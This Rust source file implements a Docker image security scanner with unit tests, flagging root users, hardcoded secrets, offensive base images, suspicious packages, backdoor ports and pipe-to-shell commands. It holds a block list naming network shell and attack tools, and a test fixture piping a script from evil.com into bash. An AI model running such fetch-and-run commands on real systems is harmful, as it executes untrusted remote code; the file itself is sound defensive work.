1use super::{DetectionCategory, RecommendedAction, ScanResult, Severity};
20use serde::{Deserialize, Serialize};
21use std::path::Path;
22use std::process::Command;
23
24#[derive(Debug, Clone, Serialize, Deserialize)]
30pub struct ContainerScanConfig {
31 pub docker_socket: String,
33 pub max_image_size: u64,
35 pub scan_layers: bool,
37 pub check_dockerfile: bool,
39 pub check_secrets: bool,
41 pub check_packages: bool,
43 pub dangerous_base_images: Vec<String>,
45 pub suspicious_packages: Vec<String>,
47 pub secret_patterns: Vec<String>,
49}
50
51impl Default for ContainerScanConfig {
52 fn default() -> Self {
53 Self {
54 docker_socket: "/var/run/docker.sock".to_string(),
55 max_image_size: 5_000_000_000, scan_layers: true,
57 check_dockerfile: true,
58 check_secrets: true,
59 check_packages: true,
60 dangerous_base_images: vec![
61 "kalilinux/kali-rolling".to_string(),
63 "parrotsec/security".to_string(),
64 ],
65 suspicious_packages: vec![
66 "nmap".to_string(),
67 "netcat".to_string(),
68 "nc".to_string(),
69 "ncat".to_string(),
70 "socat".to_string(),
71 "tcpdump".to_string(),
72 "wireshark".to_string(),
73 "hydra".to_string(),
74 "john".to_string(),
75 "hashcat".to_string(),
76 "sqlmap".to_string(),
77 "metasploit".to_string(),
78 "nikto".to_string(),
79 "masscan".to_string(),
80 "gobuster".to_string(),
81 "mimikatz".to_string(),
82 ],
83 secret_patterns: vec![
84 "password=".to_string(),
85 "passwd=".to_string(),
86 "secret=".to_string(),
87 "api_key=".to_string(),
88 "apikey=".to_string(),
89 "access_key=".to_string(),
90 "private_key=".to_string(),
91 "token=".to_string(),
92 "aws_secret".to_string(),
93 "database_url=".to_string(),
94 "mysql_root_password".to_string(),
95 "postgres_password".to_string(),
96 ],
97 }
98 }
99}
100
101#[derive(Debug, Clone, Serialize, Deserialize)]
107pub struct ImageInfo {
108 pub id: String,
109 pub repo_tags: Vec<String>,
110 pub size: u64,
111 pub created: String,
112 pub os: String,
113 pub architecture: String,
114 pub author: String,
115 pub layers: Vec<String>,
116 pub env_vars: Vec<String>,
117 pub cmd: Vec<String>,
118 pub entrypoint: Vec<String>,
119 pub exposed_ports: Vec<String>,
120 pub user: String,
121 pub history: Vec<HistoryEntry>,
122}
123
124#[derive(Debug, Clone, Serialize, Deserialize)]
126pub struct HistoryEntry {
127 pub created_by: String,
128 pub empty_layer: bool,
129}
130
131pub struct ContainerScanner {
137 config: ContainerScanConfig,
138}
139
140impl ContainerScanner {
141 pub fn new(config: ContainerScanConfig) -> Self {
142 Self { config }
143 }
144
145 pub fn docker_available() -> bool {
147 Command::new("docker")
148 .arg("info")
149 .stdout(std::process::Stdio::null())
150 .stderr(std::process::Stdio::null())
151 .status()
152 .map(|s| s.success())
153 .unwrap_or(false)
154 }
155
156 pub fn inspect_image(image: &str) -> Option<serde_json::Value> {
158 let output = Command::new("docker")
159 .args(["inspect", "--type=image", image])
160 .output()
161 .ok()?;
162
163 if !output.status.success() {
164 return None;
165 }
166
167 let json: serde_json::Value =
168 serde_json::from_slice(&output.stdout).ok()?;
169 json.as_array()?.first().cloned()
170 }
171
172 pub fn image_history(image: &str) -> Vec<HistoryEntry> {
174 let output = match Command::new("docker")
175 .args(["history", "--no-trunc", "--format", "{{.CreatedBy}}\t{{.Size}}"])
176 .arg(image)
177 .output()
178 {
179 Ok(o) if o.status.success() => o,
180 _ => return Vec::new(),
181 };
182
183 let text = String::from_utf8_lossy(&output.stdout);
184 text.lines()
185 .map(|line| {
186 let parts: Vec<&str> = line.splitn(2, '\t').collect();
187 HistoryEntry {
188 created_by: parts.first().unwrap_or(&"").to_string(),
189 empty_layer: parts.get(1).map(|s| s.trim() == "0B").unwrap_or(true),
190 }
191 })
192 .collect()
193 }
194
195 pub fn parse_image_info(inspect: &serde_json::Value) -> Option<ImageInfo> {
197 let config = inspect.get("Config")?;
198 let id = inspect.get("Id")?.as_str()?.to_string();
199
200 let repo_tags: Vec<String> = inspect
201 .get("RepoTags")
202 .and_then(|v| v.as_array())
203 .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
204 .unwrap_or_default();
205
206 let size = inspect.get("Size").and_then(|v| v.as_u64()).unwrap_or(0);
207 let created = inspect.get("Created").and_then(|v| v.as_str()).unwrap_or("").to_string();
208 let os = inspect.get("Os").and_then(|v| v.as_str()).unwrap_or("linux").to_string();
209 let arch = inspect.get("Architecture").and_then(|v| v.as_str()).unwrap_or("").to_string();
210 let author = inspect.get("Author").and_then(|v| v.as_str()).unwrap_or("").to_string();
211
212 let layers: Vec<String> = inspect
213 .get("RootFS")
214 .and_then(|v| v.get("Layers"))
215 .and_then(|v| v.as_array())
216 .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
217 .unwrap_or_default();
218
219 let env_vars: Vec<String> = config
220 .get("Env")
221 .and_then(|v| v.as_array())
222 .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
223 .unwrap_or_default();
224
225 let cmd: Vec<String> = config
226 .get("Cmd")
227 .and_then(|v| v.as_array())
228 .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
229 .unwrap_or_default();
230
231 let entrypoint: Vec<String> = config
232 .get("Entrypoint")
233 .and_then(|v| v.as_array())
234 .map(|a| a.iter().filter_map(|v| v.as_str().map(|s| s.to_string())).collect())
235 .unwrap_or_default();
236
237 let exposed_ports: Vec<String> = config
238 .get("ExposedPorts")
239 .and_then(|v| v.as_object())
240 .map(|m| m.keys().cloned().collect())
241 .unwrap_or_default();
242
243 let user = config.get("User").and_then(|v| v.as_str()).unwrap_or("").to_string();
244
245 Some(ImageInfo {
246 id,
247 repo_tags,
248 size,
249 created,
250 os,
251 architecture: arch,
252 author,
253 layers,
254 env_vars,
255 cmd,
256 entrypoint,
257 exposed_ports,
258 user,
259 history: Vec::new(),
260 })
261 }
262
263 pub fn scan_image(&self, image: &str) -> Vec<ScanResult> {
265 let mut results = Vec::new();
266
267 let inspect = match Self::inspect_image(image) {
269 Some(v) => v,
270 None => {
271 results.push(ScanResult::new(
272 "container_scanner",
273 image,
274 Severity::Low,
275 DetectionCategory::HeuristicAnomaly {
276 rule: "container_inspect_failed".to_string(),
277 },
278 format!("Failed to inspect Docker image: {} — image may not exist locally", image),
279 0.3,
280 RecommendedAction::Alert,
281 ));
282 return results;
283 }
284 };
285
286 let mut info = match Self::parse_image_info(&inspect) {
287 Some(i) => i,
288 None => return results,
289 };
290
291 info.history = Self::image_history(image);
292
293 results.extend(self.check_running_as_root(&info, image));
295 results.extend(self.check_env_secrets(&info, image));
296 results.extend(self.check_dangerous_base(&info, image));
297 results.extend(self.check_suspicious_packages(&info, image));
298 results.extend(self.check_exposed_ports(&info, image));
299 results.extend(self.check_history_commands(&info, image));
300
301 results
302 }
303
304 fn check_running_as_root(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
306 if info.user.is_empty() || info.user == "root" || info.user == "0" {
307 vec![ScanResult::new(
308 "container_scanner",
309 image,
310 Severity::Medium,
311 DetectionCategory::HeuristicAnomaly {
312 rule: "container_runs_as_root".to_string(),
313 },
314 format!(
315 "Container runs as root user — {} (use USER directive to run as non-root)",
316 info.repo_tags.first().unwrap_or(&info.id)
317 ),
318 0.6,
319 RecommendedAction::Alert,
320 )]
321 } else {
322 Vec::new()
323 }
324 }
325
326 fn check_env_secrets(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
328 if !self.config.check_secrets {
329 return Vec::new();
330 }
331
332 let mut results = Vec::new();
333 for env in &info.env_vars {
334 let env_lower = env.to_lowercase();
335 for pattern in &self.config.secret_patterns {
336 if env_lower.contains(&pattern.to_lowercase()) {
337 let key = env.split('=').next().unwrap_or(env);
339 results.push(ScanResult::new(
340 "container_scanner",
341 image,
342 Severity::High,
343 DetectionCategory::HeuristicAnomaly {
344 rule: "container_hardcoded_secret".to_string(),
345 },
346 format!(
347 "Hardcoded secret in environment variable: {}=*** (matched pattern: {})",
348 key, pattern
349 ),
350 0.85,
351 RecommendedAction::Alert,
352 ));
353 break; }
355 }
356 }
357 results
358 }
359
360 fn check_dangerous_base(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
362 let mut results = Vec::new();
363 for tag in &info.repo_tags {
364 let tag_lower = tag.to_lowercase();
365 for dangerous in &self.config.dangerous_base_images {
366 if tag_lower.contains(&dangerous.to_lowercase()) {
367 results.push(ScanResult::new(
368 "container_scanner",
369 image,
370 Severity::High,
371 DetectionCategory::HeuristicAnomaly {
372 rule: "container_dangerous_base".to_string(),
373 },
374 format!(
375 "Image based on known offensive/dangerous base: {} (matched: {})",
376 tag, dangerous
377 ),
378 0.8,
379 RecommendedAction::Alert,
380 ));
381 }
382 }
383 }
384 results
385 }
386
387 fn check_suspicious_packages(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
389 if !self.config.check_packages {
390 return Vec::new();
391 }
392
393 let mut results = Vec::new();
394 for entry in &info.history {
395 let cmd_lower = entry.created_by.to_lowercase();
396
397 if cmd_lower.contains("install") || cmd_lower.contains("add") {
399 for pkg in &self.config.suspicious_packages {
400 let pkg_lower = pkg.to_lowercase();
401 if cmd_lower.contains(&format!(" {}", pkg_lower))
403 || cmd_lower.contains(&format!(" {}\n", pkg_lower))
404 || cmd_lower.ends_with(&format!(" {}", pkg_lower))
405 {
406 results.push(ScanResult::new(
407 "container_scanner",
408 image,
409 Severity::Medium,
410 DetectionCategory::HeuristicAnomaly {
411 rule: "container_suspicious_package".to_string(),
412 },
413 format!(
414 "Suspicious package '{}' installed in image layer: {}",
415 pkg,
416 truncate(&entry.created_by, 100)
417 ),
418 0.65,
419 RecommendedAction::Alert,
420 ));
421 }
422 }
423 }
424
425 if (cmd_lower.contains("curl") || cmd_lower.contains("wget"))
427 && (cmd_lower.contains("| sh") || cmd_lower.contains("| bash")
428 || cmd_lower.contains("|sh") || cmd_lower.contains("|bash"))
429 {
430 results.push(ScanResult::new(
431 "container_scanner",
432 image,
433 Severity::High,
434 DetectionCategory::HeuristicAnomaly {
435 rule: "container_pipe_to_shell".to_string(),
436 },
437 format!(
438 "Pipe-to-shell pattern detected in Dockerfile: {}",
439 truncate(&entry.created_by, 120)
440 ),
441 0.8,
442 RecommendedAction::Alert,
443 ));
444 }
445
446 if cmd_lower.contains("--privileged") || cmd_lower.contains("cap_sys_admin") {
448 results.push(ScanResult::new(
449 "container_scanner",
450 image,
451 Severity::High,
452 DetectionCategory::HeuristicAnomaly {
453 rule: "container_privileged".to_string(),
454 },
455 format!(
456 "Privileged mode or SYS_ADMIN capability in image layer: {}",
457 truncate(&entry.created_by, 100)
458 ),
459 0.85,
460 RecommendedAction::Alert,
461 ));
462 }
463 }
464 results
465 }
466
467 fn check_exposed_ports(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
469 let suspicious_ports = [4444, 5555, 6667, 6697, 1337, 31337, 9001];
470 let mut results = Vec::new();
471
472 for port_str in &info.exposed_ports {
473 let port_num: u16 = port_str
475 .split('/')
476 .next()
477 .and_then(|s| s.parse().ok())
478 .unwrap_or(0);
479
480 if suspicious_ports.contains(&port_num) {
481 results.push(ScanResult::new(
482 "container_scanner",
483 image,
484 Severity::Medium,
485 DetectionCategory::HeuristicAnomaly {
486 rule: "container_suspicious_port".to_string(),
487 },
488 format!(
489 "Suspicious port exposed: {} — common C2/backdoor port",
490 port_str
491 ),
492 0.6,
493 RecommendedAction::Alert,
494 ));
495 }
496 }
497 results
498 }
499
500 fn check_history_commands(&self, info: &ImageInfo, image: &str) -> Vec<ScanResult> {
502 let mut results = Vec::new();
503
504 for entry in &info.history {
505 let cmd_lower = entry.created_by.to_lowercase();
506
507 if cmd_lower.contains("chmod 777") || cmd_lower.contains("chmod a+rwx") {
509 results.push(ScanResult::new(
510 "container_scanner",
511 image,
512 Severity::Medium,
513 DetectionCategory::HeuristicAnomaly {
514 rule: "container_world_writable".to_string(),
515 },
516 format!(
517 "World-writable permissions set in image: {}",
518 truncate(&entry.created_by, 100)
519 ),
520 0.55,
521 RecommendedAction::Alert,
522 ));
523 }
524
525 if cmd_lower.contains("setenforce 0")
527 || cmd_lower.contains("apparmor=unconfined")
528 || cmd_lower.contains("seccomp=unconfined")
529 {
530 results.push(ScanResult::new(
531 "container_scanner",
532 image,
533 Severity::High,
534 DetectionCategory::HeuristicAnomaly {
535 rule: "container_security_disabled".to_string(),
536 },
537 format!(
538 "Security feature disabled in image: {}",
539 truncate(&entry.created_by, 100)
540 ),
541 0.8,
542 RecommendedAction::Alert,
543 ));
544 }
545 }
546 results
547 }
548
549 pub async fn deep_scan_image(
552 &self,
553 image: &str,
554 scanners: &[std::sync::Arc<dyn super::Scanner>],
555 ) -> Vec<ScanResult> {
556 let mut results = self.scan_image(image);
557
558 if !self.config.scan_layers {
559 return results;
560 }
561
562 let tmp_dir = std::env::temp_dir().join(format!("nexus-container-scan-{}", uuid::Uuid::new_v4()));
564 let _ = std::fs::create_dir_all(&tmp_dir);
565
566 let create = Command::new("docker")
568 .args(["create", "--name", "nexus-scan-tmp", image])
569 .output();
570
571 if let Ok(output) = create {
572 if output.status.success() {
573 let tar_path = tmp_dir.join("image.tar");
574 let export = Command::new("docker")
575 .args(["export", "nexus-scan-tmp", "-o"])
576 .arg(&tar_path)
577 .output();
578
579 let _ = Command::new("docker")
581 .args(["rm", "nexus-scan-tmp"])
582 .output();
583
584 if let Ok(exp) = export {
585 if exp.status.success() {
586 let extract_dir = tmp_dir.join("extracted");
588 let _ = std::fs::create_dir_all(&extract_dir);
589 let _ = Command::new("tar")
590 .args(["xf"])
591 .arg(&tar_path)
592 .arg("-C")
593 .arg(&extract_dir)
594 .output();
595
596 results.extend(
598 self.scan_extracted_dir(&extract_dir, scanners).await,
599 );
600 }
601 }
602 } else {
603 let _ = Command::new("docker")
605 .args(["rm", "nexus-scan-tmp"])
606 .output();
607 }
608 }
609
610 let _ = std::fs::remove_dir_all(&tmp_dir);
612
613 results
614 }
615
616 async fn scan_extracted_dir(
618 &self,
619 dir: &Path,
620 scanners: &[std::sync::Arc<dyn super::Scanner>],
621 ) -> Vec<ScanResult> {
622 let mut results = Vec::new();
623
624 let scan_dirs = ["usr/bin", "usr/sbin", "bin", "sbin", "tmp", "root", "home"];
626
627 for subdir in &scan_dirs {
628 let target = dir.join(subdir);
629 if !target.is_dir() {
630 continue;
631 }
632
633 if let Ok(entries) = std::fs::read_dir(&target) {
634 for entry in entries.flatten() {
635 let path = entry.path();
636 if !path.is_file() {
637 continue;
638 }
639 if let Ok(meta) = path.metadata() {
640 if meta.len() > self.config.max_image_size {
641 continue;
642 }
643 }
644
645 for scanner in scanners {
646 if scanner.is_active() {
647 let mut scan_results = scanner.scan_file(&path).await;
648 for r in &mut scan_results {
650 r.target = format!("[container] {}/{}", subdir, entry.file_name().to_string_lossy());
651 r.scanner = format!("container_scanner+{}", r.scanner);
652 }
653 results.extend(scan_results);
654 }
655 }
656 }
657 }
658 }
659
660 results
661 }
662}
663
664fn truncate(s: &str, max_len: usize) -> String {
666 if s.len() <= max_len {
667 s.to_string()
668 } else {
669 format!("{}...", &s[..max_len])
670 }
671}
672
673#[cfg(test)]
678mod tests {
679 use super::*;
680
681 fn test_scanner() -> ContainerScanner {
682 ContainerScanner::new(ContainerScanConfig::default())
683 }
684
685 #[test]
686 fn config_defaults() {
687 let config = ContainerScanConfig::default();
688 assert!(config.scan_layers);
689 assert!(config.check_dockerfile);
690 assert!(config.check_secrets);
691 assert!(config.check_packages);
692 assert!(!config.suspicious_packages.is_empty());
693 assert!(!config.secret_patterns.is_empty());
694 }
695
696 #[test]
697 fn parse_image_info_basic() {
698 let inspect = serde_json::json!({
699 "Id": "sha256:abc123",
700 "RepoTags": ["myapp:latest"],
701 "Size": 150000000,
702 "Created": "2026-03-25T00:00:00Z",
703 "Os": "linux",
704 "Architecture": "amd64",
705 "Author": "test",
706 "RootFS": {
707 "Layers": ["sha256:layer1", "sha256:layer2"]
708 },
709 "Config": {
710 "Env": ["PATH=/usr/bin", "APP_SECRET=hunter2"],
711 "Cmd": ["/bin/sh"],
712 "Entrypoint": null,
713 "ExposedPorts": {"8080/tcp": {}},
714 "User": ""
715 }
716 });
717
718 let info = ContainerScanner::parse_image_info(&inspect).unwrap();
719 assert_eq!(info.id, "sha256:abc123");
720 assert_eq!(info.repo_tags, vec!["myapp:latest"]);
721 assert_eq!(info.size, 150000000);
722 assert_eq!(info.layers.len(), 2);
723 assert_eq!(info.env_vars.len(), 2);
724 assert!(info.user.is_empty()); assert_eq!(info.exposed_ports, vec!["8080/tcp"]);
726 }
727
728 #[test]
729 fn detect_root_user_empty() {
730 let scanner = test_scanner();
731 let info = ImageInfo {
732 id: "test".into(), repo_tags: vec!["test:latest".into()],
733 size: 0, created: "".into(), os: "linux".into(),
734 architecture: "amd64".into(), author: "".into(),
735 layers: vec![], env_vars: vec![], cmd: vec![],
736 entrypoint: vec![], exposed_ports: vec![],
737 user: "".into(), history: vec![],
739 };
740 let results = scanner.check_running_as_root(&info, "test:latest");
741 assert_eq!(results.len(), 1);
742 assert!(results[0].description.contains("root"));
743 }
744
745 #[test]
746 fn detect_root_user_explicit() {
747 let scanner = test_scanner();
748 let info = ImageInfo {
749 id: "test".into(), repo_tags: vec![], size: 0,
750 created: "".into(), os: "linux".into(), architecture: "".into(),
751 author: "".into(), layers: vec![], env_vars: vec![],
752 cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
753 user: "root".into(), history: vec![],
754 };
755 let results = scanner.check_running_as_root(&info, "test");
756 assert!(!results.is_empty());
757 }
758
759 #[test]
760 fn no_alert_nonroot_user() {
761 let scanner = test_scanner();
762 let info = ImageInfo {
763 id: "test".into(), repo_tags: vec![], size: 0,
764 created: "".into(), os: "linux".into(), architecture: "".into(),
765 author: "".into(), layers: vec![], env_vars: vec![],
766 cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
767 user: "appuser".into(), history: vec![],
768 };
769 let results = scanner.check_running_as_root(&info, "test");
770 assert!(results.is_empty());
771 }
772
773 #[test]
774 fn detect_env_secrets() {
775 let scanner = test_scanner();
776 let info = ImageInfo {
777 id: "test".into(), repo_tags: vec![], size: 0,
778 created: "".into(), os: "linux".into(), architecture: "".into(),
779 author: "".into(), layers: vec![],
780 env_vars: vec![
781 "PATH=/usr/bin".to_string(),
782 "DATABASE_URL=postgres://user:pass@host/db".to_string(),
783 "API_KEY=sk-12345".to_string(),
784 ],
785 cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
786 user: "app".into(), history: vec![],
787 };
788 let results = scanner.check_env_secrets(&info, "test");
789 assert_eq!(results.len(), 2); assert!(results[0].description.contains("***")); }
792
793 #[test]
794 fn no_secret_in_path() {
795 let scanner = test_scanner();
796 let info = ImageInfo {
797 id: "test".into(), repo_tags: vec![], size: 0,
798 created: "".into(), os: "linux".into(), architecture: "".into(),
799 author: "".into(), layers: vec![],
800 env_vars: vec!["PATH=/usr/bin".to_string(), "HOME=/root".to_string()],
801 cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
802 user: "app".into(), history: vec![],
803 };
804 let results = scanner.check_env_secrets(&info, "test");
805 assert!(results.is_empty());
806 }
807
808 #[test]
809 fn detect_dangerous_base() {
810 let scanner = test_scanner();
811 let info = ImageInfo {
812 id: "test".into(),
813 repo_tags: vec!["kalilinux/kali-rolling:latest".to_string()],
814 size: 0, created: "".into(), os: "linux".into(),
815 architecture: "".into(), author: "".into(), layers: vec![],
816 env_vars: vec![], cmd: vec![], entrypoint: vec![],
817 exposed_ports: vec![], user: "".into(), history: vec![],
818 };
819 let results = scanner.check_dangerous_base(&info, "test");
820 assert!(!results.is_empty());
821 }
822
823 #[test]
824 fn detect_suspicious_port() {
825 let scanner = test_scanner();
826 let info = ImageInfo {
827 id: "test".into(), repo_tags: vec![], size: 0,
828 created: "".into(), os: "linux".into(), architecture: "".into(),
829 author: "".into(), layers: vec![], env_vars: vec![],
830 cmd: vec![], entrypoint: vec![],
831 exposed_ports: vec!["4444/tcp".to_string(), "8080/tcp".to_string()],
832 user: "app".into(), history: vec![],
833 };
834 let results = scanner.check_exposed_ports(&info, "test");
835 assert_eq!(results.len(), 1); assert!(results[0].description.contains("4444"));
837 }
838
839 #[test]
840 fn detect_pipe_to_shell() {
841 let scanner = test_scanner();
842 let info = ImageInfo {
843 id: "test".into(), repo_tags: vec![], size: 0,
844 created: "".into(), os: "linux".into(), architecture: "".into(),
845 author: "".into(), layers: vec![], env_vars: vec![],
846 cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
847 user: "app".into(),
848 history: vec![
849 HistoryEntry {
850 created_by: "RUN curl https://evil.com/install.sh | bash".to_string(),
851 empty_layer: false,
852 },
853 ],
854 };
855 let results = scanner.check_suspicious_packages(&info, "test");
856 let pipe_results: Vec<_> = results.iter()
857 .filter(|r| r.description.contains("Pipe-to-shell"))
858 .collect();
859 assert!(!pipe_results.is_empty());
860 }
861
862 #[test]
863 fn detect_nmap_install() {
864 let scanner = test_scanner();
865 let info = ImageInfo {
866 id: "test".into(), repo_tags: vec![], size: 0,
867 created: "".into(), os: "linux".into(), architecture: "".into(),
868 author: "".into(), layers: vec![], env_vars: vec![],
869 cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
870 user: "app".into(),
871 history: vec![
872 HistoryEntry {
873 created_by: "RUN apt-get install -y nmap netcat".to_string(),
874 empty_layer: false,
875 },
876 ],
877 };
878 let results = scanner.check_suspicious_packages(&info, "test");
879 assert!(results.len() >= 2); }
881
882 #[test]
883 fn detect_chmod_777() {
884 let scanner = test_scanner();
885 let info = ImageInfo {
886 id: "test".into(), repo_tags: vec![], size: 0,
887 created: "".into(), os: "linux".into(), architecture: "".into(),
888 author: "".into(), layers: vec![], env_vars: vec![],
889 cmd: vec![], entrypoint: vec![], exposed_ports: vec![],
890 user: "app".into(),
891 history: vec![
892 HistoryEntry {
893 created_by: "RUN chmod 777 /app".to_string(),
894 empty_layer: false,
895 },
896 ],
897 };
898 let results = scanner.check_history_commands(&info, "test");
899 assert!(!results.is_empty());
900 assert!(results[0].description.contains("World-writable"));
901 }
902
903 #[test]
904 fn truncate_long_string() {
905 assert_eq!(truncate("short", 10), "short");
906 assert_eq!(truncate("this is a long string", 10), "this is a ...");
907 }
908
909 #[test]
910 fn clean_image_no_alerts() {
911 let scanner = test_scanner();
912 let info = ImageInfo {
913 id: "test".into(),
914 repo_tags: vec!["myapp:1.0".to_string()],
915 size: 50_000_000, created: "2026-03-25".into(),
916 os: "linux".into(), architecture: "amd64".into(),
917 author: "dev".into(), layers: vec![],
918 env_vars: vec!["PATH=/usr/bin".to_string()],
919 cmd: vec!["/app/server".to_string()],
920 entrypoint: vec![], exposed_ports: vec!["8080/tcp".to_string()],
921 user: "appuser".into(),
922 history: vec![
923 HistoryEntry {
924 created_by: "RUN apt-get install -y ca-certificates".to_string(),
925 empty_layer: false,
926 },
927 ],
928 };
929 let mut results = Vec::new();
930 results.extend(scanner.check_running_as_root(&info, "test"));
931 results.extend(scanner.check_env_secrets(&info, "test"));
932 results.extend(scanner.check_dangerous_base(&info, "test"));
933 results.extend(scanner.check_suspicious_packages(&info, "test"));
934 results.extend(scanner.check_exposed_ports(&info, "test"));
935 results.extend(scanner.check_history_commands(&info, "test"));
936 assert!(results.is_empty(), "Clean image should have no alerts");
937 }
938}